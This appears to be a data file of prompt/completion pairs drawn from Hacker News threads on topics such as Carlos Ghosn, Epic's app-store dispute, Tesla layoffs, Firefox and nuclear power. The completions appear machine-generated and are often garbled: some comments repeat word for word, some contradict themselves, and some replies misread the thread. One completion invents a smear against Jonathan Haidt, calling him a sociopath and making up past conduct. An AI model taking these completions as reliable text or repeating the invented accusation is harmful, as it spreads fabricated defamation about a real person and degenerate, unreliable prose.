for\nthe benefit of Nissan and its shareholders.\n\nBut the state of \"Habeas Corpus\" in Japan is a complete farce.\n\n~~~\nonemoresoop\n> Ghosn's handling by the Japanese is utterly despicable. No habeas corpus...\n> no due process.\n\nI think you are overstating it. Habeas corpus exists in Japan, but it is not\nused much. The right to a", "input_text": " things out. Incremental\nreverse search with ctrl-r is not new and does not require a \"modern\" shell\nunless you've been using Unix forever, in which case you surely knew about it\nalready.\n\nAnyway just wait until this person figures out ctrl-a and ctrl-e and alt-.\nThen minds will truly be blown.\n\n~~~\nreuven\nOP here: I've been using Unix as my primary desktop, and Emacs as my primary\neditor, since 1988. I've known about these keybindings for a heckuva long\ntime. But I keep encountering people who don't, and who are delighted to learn\nsomething new. I thought that it would be nice to share, that's all.\n\n~~~\nderwiki\nIt was nice to share, thank you! I remember how excited I was the first time I\nlearned about this command.\n\n \nExamining Carlos Ghosn and Japan's System of 'Hostage Justice' - onemoresoop\nhttps://www.japantimes.co.jp/news/2019/04/17/national/crime-legal/examining-carlos-ghosn-japans-system-hostage-justice/\n======\nanonu\nGhosn's handling by the Japanese is utterly despicable. No habeas corpus...\nno due process.\n\nGhosn is credited with a stunning corporate turnaround and creating billions\nof dollars of value for a Japanese company and the Japanese people. I am\ncertain foreign corporations who do business in Japan are thinking long and\nhard about the implications and potential risks of operating there.\n\nTo be clear - I am not saying Ghosn is innocent. He may very well have created\nspecial corporate structures to siphon off cash - and"} +{"output_text": "give out money, but it's not going to be as effective as real dollars.\n\n~~~\nriantogo\n>Mars? Forget about it.\n\nI am not advocating for Mars, but I think we need to be realistic about the\nscope of innovation. We need to be able to afford it. We need to be able to\nafford the consequences of not being able to afford it.\n\nI think we need to be more concerned with the people and", "input_text": " he's going to get heat for it.\n\nThe financial press has an obligation to talk about this stuff. Investors\ndeserve to be informed.\n\n------\nmyrandomcomment\nStill waiting for my site visit for the $1000 I put down a very long time ago\nfor my solar roof.\n\n------\nriantogo\nSomewhere along the way I have come to appreciate that as a society we need to\noptimize better for psychological, financial and physical wellbeing of people\nprioritized by proximity: employees, community, humanity. It will definitely\nslow down innovation. We might go to Mars 20yrs late, no self driving cars for\n10 more yrs, walk around the city some more before electric scooter land etc.\n\nOf course it is in conflict with innovations in humanity impacting products\nlike cure for cancer, malaria etc. It would be nice to figure out a solution\nthat provides a good balance.\n\n~~~\nManFromUranus\n>It will definitely slow down innovation\n\nIt will definitely slow down innovation. Some projects / aspirations will come\noff the table completely. Mars? Forget about it. All your mars money will be\ntreating AIDS/Malaria/Cancer/Whatever. All NASA and space exploration money\nwill go to feeding poor people and refugees and all manner of charitable\ncauses, these causes will only ever multiply ad infinitum. I think there is\nreally only money for one or the other. You can have a comfy easy welfare\nstate life, or you can explore and reach for the stars.\n\nYou can't do discount Mars, or space exploration on the cheap, you basically\ncan't have both. Your welfare state will make it so that you don't ever really\nhave enough money to actually do any kind of space exploration. Sure you can\n"} +{"output_text": " is irrelevant.\n\n~~~\nwhichquestion\n>driving is expensive\n\nThat's true, but so is public transportation. Public transportation is\nexpensive.\n\n>between fuel, vehicle maintenance, parking, and insurance\n\nThose are all expenses that are often paid by the taxpayer.\n\n>If there's truly no choice other than driving (which isn't really possible,\n> because if driving alone is an option then so is carpooling), your income\n> level is", "input_text": " benefit of other students.\n\n~~~\nacdha\nHow does this \u201cbenefit\u201d other students? They're the ones who are being\ninconvenienced by scofflaws and if it's like most other places quite likely\nendangered: the same people who park illegally tend to be cavalier about\nblocking bike lanes and curb cuts, speeding, rolling through crosswalks, etc.\n\n~~~\nflatiron\nAs someone who commuted to college parking illegally is just something you\nhave to do. I had parking fines I had to pay before receiving my diploma even\nthough I made the grades and such. Parking and universities is a mess.\n\n~~~\nnotatoad\n>parking illegally is just something you have to do\n\ndriving to college is not something you _have to do_. it's something you\nchoose to do. parking is a side effect of driving, not a god-given right.\n\n~~~\nwhichquestion\nIf you are low income, and need to get to school but have no other way to go\nthan to drive, what else should you do?\n\nIt seems like you are suggesting that some people have other choices than\ndriving. There are a lot of colleges with no accessible public transportation\ninfrastructure.\n\nMany people don\u2019t have the financial means to do anything else, especially\nwhen there isn\u2019t the public transportation infrastructure to support them.\n\n~~~\nnotatoad\nwhat does low income have to do with this? driving is _expensive_. between\nfuel, vehicle maintenance, parking, and insurance, driving your personal\nvehicle should not be the \"low income\" choice.\n\nIf there's truly no choice other than driving (which isn't really possible,\nbecause if driving alone is an option then so is carpooling), your income\nlevel"} +{"output_text": " is that\nmost companies would rather not have to deal with the headache of trying to\nfind someone to take your place.\n\n~~~\nmlthoughts2018\nMy point is that companies can always be forced to restructure like this or\neven just choose to on a whim.\n\nPressure from the board, hiring a new CTO who wants to bring in his or her own\npeople, etc.\n\n~~~\norgansnyder\nYeah, I get that. Just", "input_text": "porsche-the-hedge-fund-that-also-\nmade-cars/). The moral of that story was, if you're \"fine as long as you can\nraise capital\", then you're actually in a very precarious position. And it was\neven another luxury car company to boot!\n\nNot that Tesla is making the same speculative financial shenanigans that\nPorsche was, but the point is, access to capital has a tendency to dry up\nright when you need it most. If there's a recession in the next 18-24 months\n(which, glancing at yield curves, is looking increasingly likely) and lending\ntightens up, Tesla might not find it as easy as you think to raise capital\nright when they need it to avoid running out of money.\n\n~~~\nttul\nAnd Tim Cook is waiting for that moment to arrive, so that he can put an apple\non every Tesla.\n\n------\nhi41\nWhy is Tesla doing this? It is riding high on the success of its electric cars\nand Elon Musk is so famous and is considered a visionary.\n\n------\nmlthoughts2018\nFriendly PSA: always negotiate severance. Companies can always be forced to\nrestructure like this or even just choose to on a whim. Pressure from the\nboard, hiring a new CTO who wants to bring in his or her own people, etc. etc.\n\nAlways make sure you are happy with what type of offsetting compensation\nyou\u2019ll receive in this eventuality _before_ taking the job, and consider it a\nhuge timesaver if an employer passes on you because you asked to negotiate a\ncompetitive severance package.\n\n~~~\norgansnyder\nEasy to say for those of us with highly-demanded skillsets. My hunch"} +{"output_text": " a dictator.\n\nTo the Romans, a dictator was a man who took power by force, and had no\nprevious claim to it.\n\nAugustus was the first man to take power by force, and claim it as his own.\n\n~~~\nvillage-idiot\nI mean this in the context of the fall of the Roman Empire.\n\nTo the Romans, a dictator was a man who took power by force, and had no\nprevious claim to it.", "input_text": " founding fathers would cite our current president as the reason\nthey didn't trust direct democracy...\n\nIt's food for thought whenever I think about pushing more towards direct\ndemocracy. I've been leaning towards proportional electoral votes, but there\nare so many unintended consequences.\n\n~~~\nultramundane8\nI really can't grant that first paragraph in good faith without some evidence.\n\nHow could you possibly divine the intent of the 2016 Trump campaign? We still\ncan't agree on a vast number of its actions, let alone its strategy.\n\n~~~\nkthejoker2\nYou want evidence that Trump\n\n1) didn't try to win the popular vote i.e. specifically did not court the\nvotes of certain people\n\n2) In order to run as a populist i.e. shore up votes from his base\n\n3) because the Electoral College system supports just such a strategy, such\nthat winning 51% of a few states while only getting 45% of the vote\n\nWell, other than his entire campaign, the clearest evidence I can give is this\nin the face of actual polling numbers indicating that #1 and #2 had come to\npass in the summer of 2016, the campaign's advertising dollars focused almost\nexclusively on the Obama states he ended up flipping.\n\n \nAncient monument sheds light on battle of Actium - longdefeat\nhttps://www.independent.co.uk/news/science/archaeology/roman-empire-cleopatra-octavian-ceasar-egypt-battle-sea-nicopolis-history-archaeology-a8843886.html\n======\nvillage-idiot\nThe thing I find interesting is that to the Romans, Augustus (Octavian) was\n_not_"} +{"output_text": " the Google Play app store at\n> risk of being removed. This means that if Google finds that your app is\n> violating the rules, they can pull it from the Play Store and it will be\n> gone forever.\n\n> We don\u2019t have that control. If we find that a user is violating the rules,\n> we can only ask them to stop playing the game.\n\n> This is a big deal. It means that we can\u2019t police the game", "input_text": ". It's not without\nprecedent. But it's just not allowed for mobile.\n\n> designing hardware, OS releases, etc. Epic did not design their own\n> hardware, their own silicon, build entire global supply chains, design UX,\n> etc. Apple and Google did. Do they not deserve a cut?\n\nSeriously? You think Epic should have to pay for the hardware that we\nconsumers buy for thousands of dollars? Apple has some of the highest hardware\nmargins in the world. They don't need software developers to pay for the\nhardware that we've already paid too much for. These aren't consoles sold for\na loss.\n\n~~~\ninterpol_p\n> Because they're the only option. I mean there's no reason why Epic couldn't\n> host the app on their server that people could download. It's not without\n> precedent. But it's just not allowed for mobile.\n\nDidn't they move to the Google Play Store (from their own download manager)\nspecifically because sideloading was too hard and scary for customers that it\nwas having an impact on Fortnite installs?\n\nHaving the option wouldn't be enough for Epic even if it were available on\niOS, because it wasn't enough for them on Android\n\n~~~\nwvenable\nWell Google specifically doesn't make it easy or safe to install apps from\nother sources. But there's no reason why it couldn't be just as simple and\nsafe as getting it from the app store.\n\nThe problems mentioned below are really only possible because Google kind of\nleaves everyone to the wolves when it comes to sideloading.\n\n~~~\ninterpol_p\nEpic's quote at the time was the following:\n\n> Google puts software downloadable outside of"} +{"output_text": " to buy \"X\" and you don't know him or trust him then you\nprobably won't.\n\nSame goes with social media. If you have a following that trust you and they\nare super engaged with your content and you are giving them value, they will\nbuy from you.\n\nBut if you are just spamming people and they don't trust you or you don't give\nthem value then you won't get much.\n\n------\njoeevans1000", "input_text": "KBHD aren't superstars because they have millions of\nfollowers. They're superstars because they've been marketing their personal\nbrands from the beginning, and so every (real) follower they've gained is\n_also_ a fan. But this does not apply in every situation.\n\n(It _especially_ doesn't apply to corporate social-media outreach, something\nof interest to the HN crowd: just posting cool stuff your startup made might\nattract a \"real audience\" of people who _want that stuff_... but unless you're\nbranding that stuff as _yours_ when you do that, you won't be able to later\nconvert that audience _at all_. That should be obvious to someone who's job is\n\"social-media brand manager\"\u2014but it's _not_ obvious to someone who wants to\nget rich selling merch to Insta followers.)\n\n~~~\naskafriend\nAh, got it. I think we're actually on the same page then!\n\n------\nsuperasn\nI think the problem with this is the same problem with email marketing. It\ndoesn't mean that marketing on Instagram doesn't work.\n\nI know people who have thousands of subscribers and can't sell $1000 of stuff\nand then there are people with 1000 subscribers that can sell $50k worth with\na single email.\n\nIt all comes down to the relationship with your list (I guess in this case\nyour followers). If your list trusts you and trust is easy to gain by giving a\nlot of value + authority, they will buy from you. Think if your best friend\ntell you to get \"X\" and he is an expert too then chances are you will try \"X\"\neven if doesn't make sense at the moment. On the other hand if a random\nstranger tells you"} +{"output_text": "place where they can find and install all their apps.\n\n~~~\nblunte\nYes, I know that. I'm saying that the gatekeepers are a problem because they\nare so powerful.\n\nI don't want to be forced to use a single app store. I want to choose which\napps I want to use, and then have the option to pay for those apps. I don't\nwant to pay Google or Apple for the privilege of installing my apps.\n\n", "input_text": " people there are. The\nsecond thing you'll notice is that food portions in restaurants and cafeterias\nare much larger. Strangely, everybody feels hungry all the time.\"\n\n~~~\nanigbrowl\nSad but true :-/\n\n------\nelnate\nWell, time to work out.\n\n------\nalextingle\nFat American Todd looks a bit like Charlie Sheen.\n\n------\nadamwong246\nEwww\n\n \nFortnite seems to have been removed from the Play Store as well - cinntaile\nhttps://play.google.com/store/apps/details?id=com.epicgames.fortnite&hl=en_US\n======\nblunte\nGood. The sooner a big well-funded company hits this duopoly wall, the better.\nThey will have the resources to fight this, and the outcome will hopefully be\npositive for all other developers.\n\nApple and Google are gatekeepers to all mobile devices (practically), but the\nvalue they add as gatekeepers is questionable. Certainly there is some value\nin their delivery (and much lesser so, their security) service; but their fees\nare not market set (since they are effectively monopolies by device type). If\nthere were actual competitors, their rates would be much lower... around 2-5%\nprobably.\n\n~~~\nsimonh\nAndroid has a plethora of app stores, there have always been tons of them.\nSome phones have shipped with three or more, one from Google, one from the\nphone manufacturer and one from the network. Then you could add another one\nfrom Amazon, etc, etc.\n\nGoogle Play Store won out on Android simply because the multitude of stores\nwas a nightmare for customers. They don\u2019t want multiple stores, they want one\n"} +{"output_text": " a lot of FUD in this thread about why one tool is better than another.\nI've used both and haven't noticed any major differences in features or\nusefulness.\n\n~~~\ntracker1\nI'm not sure I follow... I'm not a Ruby developer, but I do use Node and\nJavaScript. I'm not sure why you think I'm talking about Ruby... I'm talking\nabout the tools that are used for front-end development, not the language", "input_text": "\nToolkit looks like it's even lightweight and share the similar \"minimal\"\nprinciple, I will give it a try and see if it provides enough out of box, and\nI hope to see more of this kind of light yet modern frontend framework.\n\n[1] [https://github.com/google/web-starter-kit](https://github.com/google/web-\nstarter-kit)\n\n~~~\ntracker1\nIf you use Bootstrap from the source, it's actually pretty modular. I bring it\nin with npm, then copy the bootstrap.less and variables.less into my own\nproject (updating the references to those in the node_modules path)... this\nlets me do quite a bit in terms of not loading the kitchen sink, while still\nbeing flexible.\n\nAs an aside, I'm not quite sure why less hasn't won over sass... By nature of\nless being JS driven it is much closer to best in breed tools you need anyway\nfor web development (npm) in my opinion. It kind of bugs me that to do modern\nweb development, you are likely to want/need to have Node (or io.js), Python\nand Ruby installed. I tend to stick to Node based tools (there is sass for\nnode, but it brings in a binary module). This isn't to be expressly negative,\njust that I'm surprised there's still broad support for both less and sass...\nwith sass having a bit of an edge in the greater community, it would seem.\n\n~~~\nomegavesko\nDo developers really care whether a tool is written in JS rather than Ruby, or\nvice-versa? If you're running *nix it's pretty likely you have Ruby installed\nout of the box anyway.\n\nThere's"} +{"output_text": " it\nchanges the substance of the conversation at all.\n\n------\nthrowawaysea\nI think this is a good example of how the ad industry is trying to game the\nsystem. They are trying to get the adblock community to flag content that they\ndon't like, so that they can then pay to have the content removed.\n\nI think this is a bad example of how the ad industry is trying to game the\nsystem. They are trying to get the adblock", "input_text": "\" and their speech.\n\n~~~\nCommieBobDole\nOne the one hand, as someone more or less on the left, I am a little concerned\nwith the political orthodoxy I see on the left, where there's a package of\n\"correct\" ideas of varying quality, and disagreeing with or having varying\nlevels of enthusiasm about any of them is seen as almost worse than rejecting\nthem all entirely.\n\nOn the other hand, nearly everyone I see these days who talks about being\nreally passionate about free speech and preventing groupthink seems to be an\nactual goddamned neo-Nazi whose idea of free speech is the right to scream\nracial slurs at top volume into the faces of \"libtard cucks\" until they're\ndriven out of public spaces and they can resurrect the Third Reich without\ninterference.\n\n~~~\nexistencebox\nI realize your statement may be slightly hyperbolic, but I want to reassure\nyou there are many moderate/centrally leaning individuals passionate about\nfree speech and the power of questioning any status quo as a tool to seek\ntruth. (obviously not as many as I might desire, but...) This _cannot_ be an\nissue that only becomes provenance of the worst kinds, because then it becomes\neasy to dismiss. One need only be a student of history to see the importance\nof the above for _breaking_ oppression and tyranny.\n\n(Sorry, not to distract from the OP and the primary discussion, I just felt\nstrongly enough about the above statement to wave a \"I promise we're out here\"\nflag.)\n\n------\nCommieBobDole\nThis is literally a flag for \"this thing is uncontroversial enough that we can\ndisplay ads on it without the advertiser complaining\". I don't see how"} +{"output_text": " actually improved, but the 33%\nimprovement is so significant that it's practically a different condition.\n\n~~~\nlifeisstillgood\nI think you are right.\n\nBut I am also a big fan of the idea that the brain is a learning machine. And\nthat the brain is not a hard-wired thing, but is plastic and can rewire\nitself.\n\nSo I am not saying that this is not a useful experiment, but that it is", "input_text": "\n\n------\nJorgeGT\nOn a side note, I'm totally stealing the trick of making MATLAB colorbar axis\nwhite as in Fig. 2\n[http://www.frontiersin.org/files/Articles/175655/fnhum-10-00...](http://www.frontiersin.org/files/Articles/175655/fnhum-10-00034-HTML/image_m/fnhum-10-00034-g002.jpg)\n\n------\nbitwize\n\"I know kung fu.\"\n\n\"Show me.\"\n\n~~~\nkelvin0\nYup, that one crossed my mind as I was reading the article. Looks like we're\nstill a ways off this though.\n\n------\nlifeisstillgood\nThat is without a doubt the freakiest thing I have read this week.\n\n(Tl:dr - they recorded trans-cranial currents in motor and working memory\nareas of experts landing a plane and replayed that or a control into novice\npilots heads. The novices perfeomed 33% better.)\n\n~~~\ncpncrunch\nWhere does it say they performed 33% better? The only mention of 33% is:\n\n\"the reduced variance reached statistical significance in >33% of individual\nN-back trials comparing DLPFC stim with DLPFC sham\"\n\nwhich means something completely different. I think this study might be\nterribly overblown.\n\n~~~\nadwf\nAboslutely. I'll admit to not having read the actual study, but saying that\n33% of pilots improved is fairly meaningless. You could also say that 67% of\npilots _didn 't_ improve.\n\nIt might even be the case that those 67%"} +{"output_text": "ining about it this time.\n\nFacebook is just the messenger, not the creator.\n\n~~~\nthrowawaysea\nThe basket idea was published in a white paper in 2017. The idea of Libra\ncurrency was announced in June 2019.\n\n~~~\npaulsutter\nThe messenger is the messenger. But the messenger is also the messenger\nbetween banks. It is the messenger between the world\u2019s largest central bank\nand the world\u2019s largest private bank. It is", "input_text": " site for this is:\n\n[https://gpsearch.azurewebsites.net](https://gpsearch.azurewebsites.net)\n\nSome settings are set in the local security policy file, rather than in the\nregistry. From memory, if you have local admin rights you have to specifically\ngrant your user account full control to the adm files, then you can use the\nlocal security policy MMC snap in to change settings.\n\nOnce you change things, they will periodically be set back, which is annoying,\nbut the tip near the end of the article might work to stop that.\n\nAnother tip is to install a dual boot version of Windows on an encrypted\npartition, and use that instead of the \"official\" install. Of course, this\nonly works if you don't need frequent access to resources on the domain.\n\n------\nSpivak\nThis is actually one of those features that GNOME gets right with dconf\nlockdown. You can, on a per setting basis, decide whether users are allowed to\noverride each setting.\n\n------\namaccuish\nAgree with others, yawn. Unplug your computer during login to interrupt the\nprofile load and be assigned a temporary profile (unless disabled) and you'll\nsee no user policies applied.\n\n \nMIT Fellow Says Facebook \u2018Lifted\u2019 His Ideas for Libra Cryptocurrency - espeed\nhttps://www.coindesk.com/mit-fellow-accuses-facebook-of-lifting-his-ideas-for-libra-cryptocurrency\n======\npaulsutter\nOh come on, neither a basket of commodities nor a basket of currencies are\noriginal ideas. During the security token craze of 2017/2018 many similar\nideas were proposed and we don\u2019t see those folks wh"} +{"output_text": " being around for years, still\ndoesn't support fullscreen video without a plugin. So every time I open a\nsite with flash I get a popup asking if I want to enable it or not.\n\nI'm not sure if it's still a problem but I remember Mozilla being very\nunfriendly to flash and it seems like they've moved in the same direction.\n\n~~~\ndigi_owl\nMozilla also got rid of the \"Click for Flash\" thing that", "input_text": "\nHere's a question: \"Why would a System Administrator take the time to install\nFirefox on all the company machines?\"\n\n~~~\nnobleach\nA system administrator is going to most likely be using some sort of push tool\nor have Firefox in the default image - if they care enough to use it at all.\nIn all my years of doing Network/Sysadmin (1999 - 2010), Microsoft always told\nus their browser was the best and easiest to configure with system policies...\nso the higher ups just bought it, hook, line and sinker. Never mind that\nMicrosoft had never PROVEN that claim.\n\n~~~\nprotomyth\nor deploy a package with some 3rd party... but it still takes effort, what are\nthe reasons for spending it?\n\n------\nmrspeaker\nI recently switched back to Firefox as my primary browser because it's the\ncompany I distrust least. Turns out it's as exactly the same as Chrome now\nanyway - I keep forgetting which browser I'm using.\n\nThe reason I switched back was because Google's updater ping (according to\nLil' Snitch) is very aggressive (several times a day) and also a long time ago\nI vowed to switch to the browser that first implemented ES6's arrow function\nsyntax ;)\n\n------\nkenrick95\nWhen someone asked me why I use Firefox, I always pointed out this feature\n(Tab Groups) which is very good but not publicized widely by Mozilla.\n\n[https://support.mozilla.org/en-US/kb/tab-groups-organize-\ntab...](https://support.mozilla.org/en-US/kb/tab-groups-organize-tabs)\n\n------\nmoonchrome\nChrome bundles flash - which, despite HTML5"} +{"output_text": " fix it. I like the Emacs editor a lot, but I\nam not a Lisp programmer, and I am not sure that the Emacs Lisp language is\nthe best choice for a lot of programming.\n\nI am a big fan of the Emacs editor, and I use it on my MacBook Pro, but I use\nit in a very different way than the author of the article.\n\n~~~\njongraehl\nI'm not a L", "input_text": " - I think the nuclear thing\nis a distraction from them, and kept alive by a very active lobby.\n\nI am happy to change my opinion if you come up with a new process that's\nactually fail-safe, that's actually guaranteed to not leak radiation, and that\ndoesn't produce nuclear waste.\n\n~~~\njbri\nWhat alternatives can you offer?\n\nSolar and wind energy are not reliable enough to provide base-load coverage,\nhydro power is restricted to very specific terrain and has a devastating\neffect on local ecology, and really the only other option is fossil fuels.\n\nAt this point, the options literally are nuclear, or fossil fuels. And burning\nmore and more coal for power (which puts out more radiation and kills more\npeople than a nuclear plant, FYI) because anything less than perfection is not\nsuitable just seems like a really, _really_ shortsighted idea.\n\nAn alternative energy source does not need to be perfect to be worth switching\nto. It just needs to be better than the status quo. And nuclear power,\ncurrently, is _very much_ better than coal.\n\n~~~\ncperciva\n_hydro power is restricted to very specific terrain and has a devastating\neffect on local ecology..._\n\n... and isn't any safer than nuclear power. Four people died when the Japan\nearthquake caused a dam to fail -- that's more deaths than the Fukushima NPP\nhas caused, but oddly enough nobody is calling for a worldwide halt to dam\nconstruction.\n\n \nEmacs Lisp's Future - rutenspitz\nhttps://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00434.html\n======\nmark_l_watson\nIf it isn't broken, don't try to"} +{"output_text": " the potential of the Macintosh and\nbegan courting him. Woz was reluctant. He had a wife and a family. He had a\njob. He had a life. Jobs was relentless. He called on him at his office,\npounded on his door, and begged him to leave his job and come to Apple with\nhim. Woz finally relented. He quit his job.\n\nThe first Macintosh prototype was built in a garage. Jobs had", "input_text": " no hard and fast rule about which skills anyone will have.\n\n* Technical people might be good at sales.\n\n* \"Non-technical\" people might not be good at sales.\n\n* \"Knowing what to build\" and \"able to sell\" are skills which may or may not be found in the same person.\n\n* Knowing what to build might be a skill of any of your founders have, depending on their experience in the market.\n\nThere's probably a few more. I suppose this is the trouble with trying to\nwrite concise generally true comments, you forget to cover all the edge cases.\n\n~~~\nanamax\n> \"Knowing what to build\" is fine for technical people who are building a\n> simple web based tool which they'll use themselves. However, this doesn't\n> generalise to building software for complex industries.\n\nWho said anything about software?\n\n> As an example, a few years ago I was advising a company who wanted to\n> automate the calculation of tax. You would have thought that this was easy,\n\nNo, I wouldn't, because I know a little about taxes. A technical tax person\nwould know even more and understand a lot of the complexity.\n\n> but in fact it's the most complex thing ever and you need that non-technical\n> specialist domain knowledge.\n\nWhy do you persist in saying that domain knowledge is necessarily non-\ntechnical and that technical people can't have it?\n\nBoth are wrong.\n\n------\nfhe\nIf you were a non-technical founder like Steve Jobs, well, perhaps. I am\nreading the book \"iCon Steve Jobs\". And here's a recount of the very early\ndays of Apple according to the book:\n\nWoz was working on the Apple II. Jobs saw"} +{"output_text": "\nPortuguese or not).\n\nI understand that hospitals are busy, but I would think that the priority of\nbeing able to check on patients is higher than the priority of not waking up\npatients who are sleeping soundly.\n\n~~~\nmikeash\nI had to have a tooth extracted a while ago, and they gave me a sleeping\npill. I was allowed to sleep in a room by myself, and they would come in and\ncheck on me every half hour or", "input_text": " to be\naddressed, but they always seem to miss a reasonable call to action. In this\ncase it mentions what the author did (refuse to let her sleep be interrupted\nand make a verbal agreement with those tending.)\n\nBut if that doesn't work? For instance, what do I do about the new nurse that\ndoesn't want to upset the dr and insists on doing the 4am blood draw?\n\nWith hard facts about WHY the nurse doesn't need that 4am draw I could\nformulate an argument to convince the nurse to let me sleep instead. But\noutright refusing to let the nurse do their duties just feels... obnoxious.\n\n------\nanon2775\nWhen I was at the Stanford cardiac unit last, they let me sleep. That wasn't\nthe problem but they had a problem giving me privacy: door wide open, curtain\nwide open.\n\n~~~\ncperciva\nPatients with privacy are patients who end up dying. Hospital floor plans are\ndesigned to ensure that nurses can see if patients take a turn for the worse.\n\n------\nmicrocolonel\nI understand if clinical staff are actually coming to check on you. In many\ncases you may need to be checked on every few hours to prevent some decline in\ncondition from going unnoticed. What I don't get is why some hospitals (seems\nAmerican hospitals don't do it this badly) won't let you sleep when they\naren't even coming to check on you.\n\nLast Halloween in Toronto I got a (spooky) appendectomy, and although they\nwere not coming to check on me, I could not sleep because I was in a loud room\n(the patient beside me had his whole immediate family watching over him, and\nmy mind was awake, trying to decide whether they were speaking Brazillian"} +{"output_text": " does not make it wrong.\n\n------\njokoon\nI wonder if it would be possible to make a mobile app that would work with\nevery payment system, and would be able to work with every bank.\n\nI would like to be able to pay with my card, paypal, apple pay, whatever.\n\n------\njokoon\nI wonder if it would be possible to make a mobile app that would work with\nevery payment system, and would be able", "input_text": " the \"good guy\" and taking an opportunity to paint their\ncompetitor in a bad light. It really betrays just how important that 30% fee\nmust be to them. The plot just keeps thickening.\n\n------\ntony\nIf anyone likes to follow app store case law, Oyez has the verbal arguments\nfor Apple v Pepper that follow with text captions:\n[https://www.oyez.org/cases/2018/17-204](https://www.oyez.org/cases/2018/17-204)\n\n[1]\n[https://en.wikipedia.org/wiki/Apple_Inc._v._Pepper](https://en.wikipedia.org/wiki/Apple_Inc._v._Pepper)\n\n------\njandrese\nAs I see it this improves their chances of winning the suit. By having Google\nact in the same manner they have a stronger case that the market is a duopoly\nthat restricts customer's freedom.\n\nRemember that courts tend to be very lenient towards business practices, so it\ntakes egregious behavior to convince them to step in. This bolster's Epic's\nposition.\n\n------\njonplackett\nThis is a PR move. They would have known they\u2019d get kicked off for adding\ntheir own payment system.\n\nThey didn't make this in the time it took Apple to reject it. It's all pre-\nplanned\n\n[https://www.youtube.com/watch?v=N6B4glqJFz0&feature=emb_rel_...](https://www.youtube.com/watch?v=N6B4glqJFz0&feature=emb_rel_end)\n\n~~~\nMereInterest\nSo? That something is predictable"} +{"output_text": "\nwant to argue that they are a net negative, you must also argue that they\noccur only in places that have roads.\n\n~~~\nmakeitsuckless\nI'm not arguing that at all. I'm saying that the benefit of cars is massively\noverstated.\n\nAnd yes, I am arguing that they are a net negative in places that have roads.\n\n~~~\nclassicsnoot\nI think you are arguing that they are a net negative in places that", "input_text": " space, you begin to feel that we're living in\nlittle islands surrounded by fast-moving rivers of lethal steel--lethal steel\nthat results in toxic gas and water runoff that sickens the remaining\npopulation that isn't directly killed at a rate of tens-of-thousands per year.\n\nGosh I hope we can figure this out in my lifetime.\n\n~~~\nars\nTravel is the driver of all human progress and development.\n\nWhat, you think the amount of roads we have now is a lot? We've always had\nroads, they were for carts, or horses, or anything else. There is nothing\nspecial about cars here.\n\n> Gosh I hope we can figure this out in my lifetime.\n\nWe did. We made travel cheap and easy and it has benefited us massively.\n\n~~~\nmakeitsuckless\nWe didn't have roads 4 lanes wide (which is a huge amount of additional land\nlost), and we didn't have the insane amount of parking space.\n\nEven a not particularly car friendly city like Amsterdam would look\ndramatically different if you removed the parking space, because it would free\nup such an insane amount of space.\n\nCars have multiplied the amount of space dedicated to transport, without\nactually adding much to human progress and development, what with most of it\nbeing used to carry individuals short distances from A to B and back again.\n\nI don't see the massive benefit here. It's a pointless habit we shaped a\nlife/work culture around with a mostly negative impact on the quality of life.\n\n~~~\nclassicsnoot\n>without adding much to human progress and development\n\nI am opposed to vehicles being the priority, but their prevalence is directly\nrelated to their usefulness within the economic regions they occur in. If you"} +{"output_text": " course.\n\n------\njfarmer\nI'm not sure I see the innovation here. It's not like Apple's micropayments\nsystem is the most popular in the world.\n\nWhat's new here?\n\n~~~\ncubicle67\nI think it's a step towards mobile commerce.\n\nYou can imagine a scenario where you're in a store, you see an item you want,\nyou take a photo of it with your phone, then you can", "input_text": "'t have bluetooth before this update right? Which means\nit was enabled entirely through a software update. Is that right? I know it\noperates on the same frequency as wifi but still, that's pretty impressive,\nisn't it?\n\n~~~\nallenbrunson\nthe iphone had bluetooth before this update, but it was very limited in scope.\n\n------\najju\nHow good the micropayments feature is depends on what their cut on it is. 30%\noff of 10 cents hurts a lot more than 30% off of $10.00\n\n~~~\ncubicle67\num... in what way does it hurt more?\n\n~~~\najju\nThat was a stupid comment made in haste that makes no sense as written. Paying\napple 30% of repeated micropayments _would_ hurt me more than the alternative,\nbut it's only true in my context - which is probably not the context Apple\ndesigned their system for.\n\nI am building a web based service which can also be accessed via an iPhone\napp. I get paid via micropayments which I aggregate till they reach a certain\ndollar amount and then process via a payment processor that charges me in\nsingle digit percentages. I have the option of using iPhone's own micropayment\nservice but that would hurt me more.\n\n~~~\npieter\nThe advantage of using the app store micropayments is that users don't have to\ncreate a new account somewhere and put their account info in your app. They\ncan use an existing system and have a one-click buy option.\n\nIt'd be interesting to see what will result in more profits. My guess would be\nthat the increased sales on the iPhone outweigh the higher profit margin with\nthe alternatives. This depends on your costs too of"} +{"output_text": "mind)\n\n~~~\nthrowaway_9191\nI also had the pleasure of taking classes with Prof Haidt at UVA.\n\nI have a different opinion of Haidt. He is a sociopath. He is the kind of\nperson who, when he was a student at Berkeley, would call people out of the\nblue and try to destroy their lives. He is the kind of person who, when he\nworked at the NY Times, would call people out", "input_text": " public donation that support a\ngroup and leads to potential blowback against the company. It's bad either\nway. Mozilla had a no win situation here. They got bad PR from both sides.\n\n~~~\nElComradio\nForget about whether it has blowback against the company- It's totally legal\nAFAIK to fire someone for their \"off the clock\" speech for any or no reason at\nall.\n\nIn reality, though, I think a jury would be very skeptical of a company's\nclaims that someone was fired for promoting the gay agenda (which would be\nlegal) and not for being a gay person.\n\n------\nrichard_mcp\nI was originally going to lump this article in with other \"men's rights\nmovement\" stuff until I saw the author was Jonathan Haidt. I had the honor to\ntake Psyc 101 with Prof. Haidt years ago at the University of Virginia. He was\na wonderful teacher who expected the best out of his students. He struck me as\na very intelligent man who had put a lot of thought into both what he taught\nas well as his opinions. When he bring up his own beliefs in class he was very\nopen to letting others voice dissenting opinions. More importantly, he always\nseemed willing to consider alternative views.\n\nI know this is all anecdotal, but I put a lot of trust in his opinions and pay\nattention when he says something.\n\nUnrelated, but he gave a great Ted talk in 2008 about the difference between\nliberals and conservatives:\n[https://www.ted.com/talks/jonathan_haidt_on_the_moral_mind](https://www.ted.com/talks/jonathan_haidt_on_the_moral_"} +{"output_text": "\n~~~\nmarchenko\nI'm not sure why you're painting the Irish government in such a bad light.\nThey've been quite aggressive in pursuing Facebook and other companies for\nalleged violations of GDPR. It's not like they're just doing the minimum to\nenforce the law.\n\n[https://www.irishecho.com/facebook-faces-new- GDPR-\ncharges-i...](https://www.irishecho", "input_text": "/press-releases/dpc-\npublishes-annual-report-25-may-31-december-2018)\n\n~~~\ntpmx\nThis stuff should be handled at a union level. Seems like 